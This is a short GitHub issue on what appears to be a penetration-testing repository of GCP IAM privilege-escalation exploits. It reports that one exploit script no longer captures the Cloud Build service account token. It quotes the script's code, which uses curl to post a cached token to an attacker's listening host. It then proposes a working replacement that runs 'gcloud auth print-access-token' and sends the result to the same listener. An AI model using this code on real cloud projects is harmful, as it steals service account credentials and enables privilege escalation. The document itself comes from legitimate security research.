Can't get Cloud Build Service Account token.

[firefire2]

We can't get Cloud Build Service Account token by this python code.

issue python file

https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py

Becouse no longer unavailable /root/tokencache/gsutil_token_cache in my environment.

issue code

    if args.listening_host:
        command = f'import os;os.system("curl -d @/root/tokencache/gsutil_token_cache {args.listening_host}")'
    else:
        command = f'import os;os.system("curl -d @/root/tokencache/gsutil_token_cache {args.ip_port}")'

So I suggest Changeing build container and command to gcr.io/cloud-builders/gcloud and commands to get access_token.

suggest code

    if args.listening_host:
        command = f'import os;os.system("gcloud auth print-access-token > token.txt ;curl -d @token.txt {args.listening_host}")'
    else:
        command = f'import os;os.system("gcloud auth print-access-token > token.txt ;curl -d @token.txt {args.ip_port}")'

I will pull request for this issue.